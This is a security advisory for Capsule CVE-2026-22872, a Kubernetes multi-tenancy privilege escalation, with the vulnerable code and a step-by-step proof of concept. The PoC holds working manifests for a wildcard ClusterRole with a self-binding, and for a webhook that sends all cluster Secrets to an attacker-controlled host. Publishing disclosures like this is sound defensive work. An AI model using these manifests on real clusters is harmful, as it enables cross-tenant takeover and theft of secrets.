Capsule CVE-2026-22872
MEDIUMLifecycle Timeline
2DescriptionNVD
TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability
Summary
The Capsule Controller runs with cluster-admin privileges. Although the TenantResource RawItems processing logic forcibly sets the namespace, this is ineffective for cluster-scoped resources. Tenant administrators can leverage the Controller's elevated privileges to create cluster-scoped resources (such as ClusterRole and ValidatingWebhookConfiguration) that they cannot create directly, achieving cross-tenant privilege escalation and cluster-level attacks.
---
Details
Vulnerability Location
File: internal/controllers/resources/processor.go Function: HandleSection() Lines: 247-285
Core Issues
- Excessive Controller Privileges: The Controller's ServiceAccount is bound to the cluster-admin ClusterRole
# ClusterRoleBinding: capsule-manager-rolebinding
roleRef:
kind: ClusterRole
name: cluster-admin- Missing Resource Scope Validation: Although the code calls
obj.SetNamespace(ns.Name), this is ineffective for cluster-scoped resources (ClusterRole, ValidatingWebhookConfiguration, etc.), as the Kubernetes API ignores this field - Missing Resource Type Validation: No check for whether resources are cluster-scoped
Vulnerable Code Analysis
// internal/controllers/resources/processor.go
for rawIndex, item := range spec.RawItems {
template := string(item.Raw)
t := fasttemplate.New(template, "{{ ", " }}")
tmplString := t.ExecuteString(map[string]interface{}{
"tenant.name": tnt.Name,
"namespace": ns.Name,
})
obj, keysAndValues := unstructured.Unstructured{}, []interface{}{"index", rawIndex}
// Issue 1: Accepts any resource type, including cluster-scoped resources
if _, _, decodeErr := codecFactory.UniversalDeserializer().Decode(
[]byte(tmplString), nil, &obj); decodeErr != nil {
log.Error(decodeErr, "unable to deserialize rawItem", keysAndValues...)
syncErr = errors.Join(syncErr, decodeErr)
continue
}
// Issue 2: For cluster-scoped resources, this setting is ignored by API
obj.SetNamespace(ns.Name)
// Issue 3: Controller creates with cluster-admin privileges, no scope check
if rawErr := r.createOrUpdate(ctx, &obj, objLabels, objAnnotations); rawErr != nil {
log.Info("unable to sync rawItem", keysAndValues...)
syncErr = errors.Join(syncErr, rawErr)
}
}Attack Chain
Tenant Owner (bob) - Has TenantResource creation permission
↓
Creates TenantResource containing cluster-scoped resources
↓
Capsule Controller (cluster-admin) processes RawItems
↓
obj.SetNamespace() ignored by Kubernetes API (cluster-scoped resources have no namespace)
↓
Successfully creates cluster-scoped resources (ClusterRole, ValidatingWebhook, etc.)
↓
Cross-tenant privilege escalation / Cluster-level attacks---
PoC
Environment Setup
Test Environment: Kubernetes 1.27+ cluster (verified using Kind cluster) #### Step 1: Verify Capsule Controller Privileges
kubectl get clusterrolebinding capsule-manager-rolebinding -o yamlConfirm output contains:
roleRef:
kind: ClusterRole
name: cluster-admin
# Controller has full cluster management privileges#### Step 2: Install Capsule and Create Test Tenant
Complete Capsule installation and tenant creation following previous environment setup steps. #### Step 3: Verify bob's Permission Restrictions
Verify bob can create TenantResource:
kubectl auth can-i create tenantresources --as bob --as-group projectcapsule.dev -n tenant-b-ns1Actual output:
yesVerify bob cannot create ClusterRole:
kubectl auth can-i create clusterroles --as bob --as-group projectcapsule.devActual output:
Warning: resource 'clusterroles' is not namespace scoped in group 'rbac.authorization.k8s.io'
noVerify bob cannot create ValidatingWebhook:
kubectl auth can-i create validatingwebhookconfigurations --as bob --as-group projectcapsule.devActual output:
Warning: resource 'validatingwebhookconfigurations' is not namespace scoped in group 'admissionregistration.k8s.io'
noAttack Vector 1: Creating Malicious ClusterRole
#### Step 4: Create TenantResource Containing ClusterRole
Create file attack-clusterrole.yaml:
apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
name: create-clusterrole
namespace: tenant-b-ns1
spec:
resyncPeriod: 60s
resources:
- namespaceSelector:
matchLabels:
capsule.clastix.io/tenant: tenant-b
rawItems:
- apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: malicious-clusterrole
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]Apply configuration as bob user (critical - must specify executor):
kubectl apply -f attack-clusterrole.yaml --as bob --as-group projectcapsule.devActual output:
tenantresource.capsule.clastix.io/create-clusterrole createdImportant: The --as bob --as-group projectcapsule.dev parameters are crucial for proving that bob (not the cluster admin) is executing this attack. #### Step 5: Verify ClusterRole Creation
kubectl get clusterrole malicious-clusterroleActual output:
NAME CREATED AT
malicious-clusterrole 2026-01-05T16:10:02ZView details:
kubectl get clusterrole malicious-clusterrole -o yamlKey output:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
annotations:
capsule.clastix.io/tenant: tenant-b
name: malicious-clusterrole
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]Verification Successful: bob cannot directly create ClusterRole, but successfully created a cluster-scoped ClusterRole with all permissions through TenantResource. #### Step 6: Exploit ClusterRole for Cross-Tenant Attack
Now bob can create a ClusterRoleBinding binding this ClusterRole to gain cluster-level privileges:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: bob-cluster-admin
subjects:
- kind: User
name: bob
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: ClusterRole
name: malicious-clusterrole
apiGroup: rbac.authorization.k8s.ioAfter applying, bob will have full cluster management privileges and can access resources of all tenants.
Attack Vector 2: Creating Malicious ValidatingWebhook
#### Step 7: Create TenantResource Containing Webhook
Create file attack-webhook.yaml:
apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
name: create-webhook
namespace: tenant-b-ns1
spec:
resyncPeriod: 60s
resources:
- namespaceSelector:
matchLabels:
capsule.clastix.io/tenant: tenant-b
rawItems:
- apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingWebhookConfiguration
metadata:
name: malicious-webhook
webhooks:
- name: malicious.webhook.com
clientConfig:
url: "https://attacker-controlled-server.com/webhook"
rules:
- operations: ["CREATE", "UPDATE"]
apiGroups: [""]
apiVersions: ["v1"]
resources: ["secrets"]
admissionReviewVersions: ["v1"]
sideEffects: None
failurePolicy: IgnoreApply configuration as bob user:
kubectl apply -f attack-webhook.yaml --as bob --as-group projectcapsule.devActual output:
tenantresource.capsule.clastix.io/create-webhook created#### Step 8: Verify Webhook Creation
kubectl get validatingwebhookconfiguration malicious-webhookActual output:
NAME WEBHOOKS AGE
malicious-webhook 1 5sVerification Successful: bob cannot directly create Webhook, but successfully created a cluster-scoped ValidatingWebhookConfiguration through TenantResource. #### Step 9: Exploit Webhook to Steal Sensitive Data
At this point, whenever any user in the cluster creates or updates a Secret, the Kubernetes API Server will call the attacker-controlled webhook server, sending an AdmissionReview request containing the complete Secret content. The attacker can:
- Steal Secret data from all tenants (database passwords, API keys, etc.)
- Modify Secret contents
- Deny legitimate Secret creation requests, achieving DoS attacks
---
Impact
Affected Scope
This vulnerability affects all Capsule deployments with the following prerequisites:
- Capsule Controller runs with cluster-admin privileges (default configuration)
- Tenant Owner has permission to create TenantResource
Security Impact
- Cross-Tenant Privilege Escalation
- Create ClusterRole to gain cluster-level privileges
- Break tenant isolation boundaries
- Access all resources of other tenants
- Large-Scale Sensitive Data Theft
- Intercept all Secret creation/update requests through malicious Webhook
- Steal passwords, API keys, certificates, etc. across the entire cluster
- Real-time monitoring of all tenant sensitive operations
- Cluster-Level Denial of Service
- Deny all API requests through Webhook
- Make the entire cluster unavailable
- Impact all tenants
- Cluster Pollution
- Create malicious CRDs
- Modify StorageClass
- Impact cluster stability
- Persistent Backdoor
- Created cluster-scoped resources persist
- Even if TenantResource is deleted, ClusterRole and other resources remain
- Difficult to detect and remove
Limiting Factors
- Requires Tenant Owner privileges
- Requires Capsule Controller running with cluster-admin privileges (default configuration)
- Some clusters may have additional admission controllers blocking malicious resources
AnalysisAI
Privilege escalation in Capsule (the Kubernetes multi-tenancy operator) allows authenticated tenant owners to create cluster-scoped resources - including ClusterRole and ValidatingWebhookConfiguration - by embedding them in TenantResource RawItems, bypassing tenant isolation enforced by the platform. The Capsule Controller's default cluster-admin ClusterRoleBinding means it creates whatever resource it is instructed to process, and its attempt to namespace-scope the resource via obj.SetNamespace() is silently ignored by the Kubernetes API for cluster-scoped kinds. …
Sign in for full analysis, threat intelligence, and remediation guidance.
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-qjjm-7j9w-pw72